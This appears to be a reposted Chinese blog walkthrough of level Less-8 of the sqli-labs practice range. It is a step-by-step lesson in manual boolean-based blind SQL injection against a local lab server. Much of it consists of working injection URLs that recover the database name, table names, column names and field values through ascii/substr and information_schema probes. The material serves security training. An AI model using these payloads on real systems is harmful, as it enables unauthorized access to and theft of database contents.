打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注

打穿sqli-labs靶场day6——less-8

开启靶场环境
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第1张图片
浏览器访问,选择第八关
在这里插入图片描述
根据关卡介绍,改关卡提示使用布尔盲注
进入关卡环境,根据页面提示传入参数
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第2张图片

127.0.0.1/sqli-labs-master/Less-8/?id=1

页面显示正常
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第3张图片
测试注入点是否存在

127.0.0.1/sqli-labs-master/Less-8/?id='

页面回显错误,说明成功代入数据库执行。但是没有返回报错信息,说明该关卡属于无回显
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第4张图片
进一步确定注入点是否存在并测试参数值是否使用符号过滤,当成功闭合符号后and 1=1页面回显正常,and 1=2页面回显错误

127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=1 --+ //页面回显正常
127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=2 --+ //页面回显错误

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第5张图片打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第6张图片
经过测试,改关卡对参数值使用单引号进行过滤

简述布尔盲注原理

select * from users where id=1 and 1=1

and连接的两个语句都为真时,该语句返回true,当有一个为假时,语句返回false。而前半部分语句恒为真,所以在使用布尔盲注时要将1=1修改为1=SQL语句。当此SQL语句为真时,页面返回正常,反之返回错误。以此来确定信息是否正确

使用布尔盲注

mysql中length()函数用于获取字符串的长度
使用length()函数猜测数据库名长度

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length(database())>8) --+ //页面返回错误
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length(database())=8) --+ //页面返回正常

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第7张图片
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第8张图片
接下来使用ascii()函数和substr()函数爆破数据库名及其他信息
ascii():返回指定字符的 ASCII 码。
substr():SUBSTR(<字符表达式>、<数值表达式1>[,<数值表达式2>]。该函数具有三个参数
如:substr(database(),x,1):返回数据库名的第x个字符,一次返回一个字符。要猜测第二个字符只需修改x(1,2,3…)值即可
获取数据库名
我们使用二分法猜测数据库名各个字符的ASCII码值
猜测数据库名第一个字符ASCII码值是否大于100

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>100) --+

页面回显正常,说明条件正确
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第9张图片
猜测数据库名第一个字符ASCII码值大于110

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>110) --+

页面回显正常,条件正确
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第10张图片
猜测数据库名第一个字符ASCII码值大于120

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>120) --+

页面回显错误,条件不正确
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第11张图片
猜测数据库名第一个字符ASCII码值大于115

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>115) --+

页面回显错误,条件不正确
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第12张图片
猜测数据库名第一个字符ASCII码值大于114

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))>114) --+

页面回显正常,条件正确
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第13张图片
数据库名第一个字符ASCII码值大于114正确,大于115错误,所以我们猜测数据库名第一个字符ASCII码值为115

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),1,1))=115) --+

页面回显正常,条件正确
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第14张图片
对照ASCII值码表,115对应字符’s’,所以数据库名第一个字符为s。
猜测数据库名第二个字符ASCII码值,只需将substr(database(),1,1)中的第一个1修改为2即可,之后为3,4…
猜测数据库名第二个字符ASCII码值大于100,页面回显正常,条件正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>100) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第15张图片
猜测数据库名第二个字符ASCII码值大于105,页面回显错误,条件不正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>105) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第16张图片
猜测数据库名第二个字符ASCII码值大于101,页面回显错误,条件不正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))>101) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第17张图片
当ASCII码值大于100时正确,大于101时错误,所以猜测数据库名第二个字符ASCII码值等于101,页面回显正常,条件正确,101对应ASCII码表为字符’e’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr(database(),2,1))=101) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第18张图片
按照这种方法最终获取数据库名为:security
获取数据库下的第一个表名,使用limit x,1限制返回个数和具体返回哪一个
确定第一个表名长度,当等于6时页面回显正常,第一个表名长度为6

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第19张图片
猜测数据库下的第一个表名第一个字符ASCII码值大于97,页面回显正常,条件正确

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97) --+

limit 0,1:返回数组中的第一个值并且一次返回一个
打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第20张图片
不断更换条件值,直到使用等于号页面回显正常
第一个表名的第一个字符为’e’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第21张图片
按照这种方法,使用大于号和等于号并不断更换条件值,获取不同位置字符的ASCII码值
第一个表名为:emails
获取emails表下的第一个列明信息
获取第一个列名长度,条件值等于2时,页面回显正常,条件正确,第一个列名长度为2

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2) --+

获取列名第一个字符
条件值等于105时页面回显正常,条件正确。105——>‘i’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第22张图片
获取列名第二个字符
条件值等于100,页面回显正常,条件正确。100——>‘d’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1))=100) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第23张图片
当获取第三个字符时不管用什么条件值页面都回显错误,原因在于列名只有两个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),3,1))>1) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第24张图片
获取id字段下的字段值
确定第一个字段值长度
条件值等于1时页面回显正常,条件正确,第一个字段值长度为1

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(length((select id from emails limit 0,1))=1) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第25张图片
获取字段值
条件值为49时页面回显正常,条件正确。49——>‘1’

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and 1=(ascii(substr((select id from emails limit 0,1),1,1))=49) --+

打穿sqli-labs靶场——Day6 (less-8)手工布尔盲注_第26张图片

总结

布尔盲注的原理时使用条件语句确定返回值为True或者为Flase,当返回值为True时页面回显正常,为False时页面回显错误以此来判断查询的信息是否正确。

你可能感兴趣的:(sqli-labs,web安全)